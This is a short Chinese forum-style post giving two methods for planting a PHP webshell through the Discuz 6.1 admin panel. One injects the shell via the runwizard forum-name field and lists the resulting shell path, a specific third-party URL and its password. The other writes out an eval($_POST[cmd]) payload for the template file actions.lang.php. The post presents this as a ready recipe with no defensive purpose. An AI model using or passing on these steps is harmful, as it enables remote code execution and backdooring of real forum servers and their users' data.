disucz 6.1后台拿webshell

来源:互联网 发布:淘宝网如何开店铺 编辑:程序博客网 时间:2024/04/30 02:44

http://www.80vul.com/dzvul/sodb/10/sodb-2008-10.txt

admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell

 

后台webshell地址:bbs/forumdata/logs/runwizardlog.php
http://t00ls.yi.org/bbs/forumdata/logs/runwizardlog.php

密码c


方法2:后台模板管理--默认模板套系--详情
templates/default/actions.lang.php
jhackj//');eval($_POST[cmd])?>;//

利用很简单,聪明的人一看就懂了

原创粉丝点击